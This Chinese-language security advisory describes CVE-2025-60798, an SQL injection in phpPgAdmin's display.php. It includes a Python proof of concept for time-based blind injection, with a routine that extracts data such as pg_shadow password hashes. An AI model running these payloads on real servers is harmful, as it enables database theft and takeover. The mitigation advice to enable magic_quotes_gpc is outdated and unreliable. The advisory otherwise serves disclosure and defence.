IPBUF安全漏洞报告
English
CVE-2025-60798 CVSS 6.5 中危

CVE-2025-60798: phpPgAdmin 7.13.0 display.php SQL注入漏洞

披露日期: 2025-11-20

漏洞信息

漏洞编号
CVE-2025-60798
漏洞类型
SQL注入
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
phpPgAdmin

相关标签

SQL注入phpPgAdminCVE-2025-60798Web应用安全数据库安全认证绕过display.phpCWE-89OWASP

漏洞概述

phpPgAdmin 7.13.0及更早版本中存在一处严重的SQL注入漏洞,攻击者可利用该漏洞在服务器上执行任意SQL语句,从而完全控制底层PostgreSQL数据库。该漏洞位于display.php文件的第396行,应用程序直接将用户通过$_REQUEST['query']参数提交的输入传递给browseQuery函数,未进行任何输入验证或参数化查询处理。由于phpPgAdmin是管理PostgreSQL数据库的Web界面工具,攻击成功后可能导致数据库中的敏感数据泄露、数据库被篡改或删除,甚至可能通过数据库的系统命令执行功能实现服务器远程代码执行。该漏洞要求攻击者具有phpPgAdmin的低权限账户认证,但对具有数据库管理需求的用户来说,利用难度较低,危害性极大。

技术细节

该SQL注入漏洞的根本原因在于phpPgAdmin的display.php文件对用户输入缺乏安全处理。在第396行附近,代码直接使用$_REQUEST['query']参数构建SQL查询语句,攻击者可以通过构造特殊的SQL片段来绕过前端过滤并注入恶意SQL代码。攻击者需要先登录phpPgAdmin获取有效的会话认证,然后通过修改query参数值,注入UNION SELECT、布尔盲注或时间盲注等SQL注入技术。例如,攻击者可以使用UNION语句从其他表中提取敏感信息如用户密码哈希,或使用COPY命令将数据库内容写入可访问的Web目录。由于phpPgAdmin通常以数据库管理员权限运行,攻击者甚至可以执行DROP DATABASE等破坏性操作。建议的修复方案是使用参数化查询或预编译语句替代字符串拼接,并对所有用户输入进行严格的输入验证和过滤。

攻击链分析

STEP 1
步骤1
攻击者识别目标站点上运行的phpPgAdmin版本(7.13.0或更早版本)
STEP 2
步骤2
攻击者获取phpPgAdmin的有效认证凭据(通过社会工程学、弱密码或已知漏洞)
STEP 3
步骤3
攻击者构造恶意SQL注入载荷,通过$_REQUEST['query']参数传递给display.php
STEP 4
步骤4
服务器将未过滤的用户输入直接拼接到SQL查询语句中,触发SQL注入
STEP 5
步骤5
攻击者利用UNION注入、布尔盲注或时间盲注技术提取数据库中的敏感信息
STEP 6
步骤6
如果数据库权限配置不当,攻击者可执行系统命令实现服务器RCE

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2025-60798 SQL Injection PoC for phpPgAdmin 7.13.0 # Target: phpPgAdmin display.php def exploit_sql_injection(target_url, session_cookie, table_name="pg_shadow"): """ Exploits SQL injection in display.php via $_REQUEST['query'] parameter This PoC demonstrates blind SQL injection to extract data """ # Vulnerable endpoint vuln_url = f"{target_url}/display.php" # Malicious SQL injection payload # Uses time-based blind SQL injection technique payload = f"'; SELECT CASE WHEN (1=1) THEN pg_sleep(5) ELSE pg_sleep(0) END FROM {table_name}--" headers = { 'Cookie': f'phpPgAdmin_Session={session_cookie}', 'Content-Type': 'application/x-www-form-urlencoded' } params = { 'query': payload, 'server': '1', 'database': 'postgres', 'schema': 'public', 'table': 'users' } print(f"[*] Target: {vuln_url}") print(f"[*] Payload: {payload}") print(f"[*] Sending malicious request...") try: response = requests.get(vuln_url, params=params, headers=headers, timeout=30) print(f"[+] Response status: {response.status_code}") if response.elapsed.total_seconds() > 4: print("[+] SQL injection confirmed! Time-based blind injection successful.") return True except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False def extract_data_blind(target_url, session_cookie, sql_query): """ Extract data using time-based blind SQL injection """ extracted_data = "" charset = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_-' for pos in range(1, 50): found = False for char in charset: # Time-based blind SQL injection payload = f"'; SELECT CASE WHEN (SELECT SUBSTRING({sql_query},{pos},1)='{char}') THEN pg_sleep(3) ELSE pg_sleep(0) END--" params = { 'query': payload, 'server': '1', 'database': 'postgres' } headers = {'Cookie': f'phpPgAdmin_Session={session_cookie}'} try: response = requests.get(f"{target_url}/display.php", params=params, headers=headers, timeout=10) if response.elapsed.total_seconds() > 2: extracted_data += char print(f"[+] Extracted so far: {extracted_data}") found = True break except: continue if not found and extracted_data: break return extracted_data if __name__ == "__main__": if len(sys.argv) < 3: print(f"Usage: python {sys.argv[0]} <target_url> <session_cookie>") print(f"Example: python {sys.argv[0]} http://localhost/phppgadmin abc123def456") sys.exit(1) target = sys.argv[1] cookie = sys.argv[2] print("=" * 60) print("CVE-2025-60798 SQL Injection PoC") print("phpPgAdmin 7.13.0 and earlier") print("=" * 60) exploit_sql_injection(target, cookie)

影响范围

phpPgAdmin <= 7.13.0

防御指南

临时缓解措施
在官方补丁发布前,可采取以下临时缓解措施:1) 限制phpPgAdmin的访问来源,配置IP白名单或VPN访问;2) 禁用或删除不必要的phpPgAdmin实例;3) 使用.htaccess或Web服务器配置限制对display.php的直接访问;4) 启用PHP的magic_quotes_gpc或使用自定义输入过滤函数对query参数进行预处理;5) 监控Web服务器日志中的异常SQL语句模式;6) 考虑使用更安全的数据库管理工具替代phpPgAdmin。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表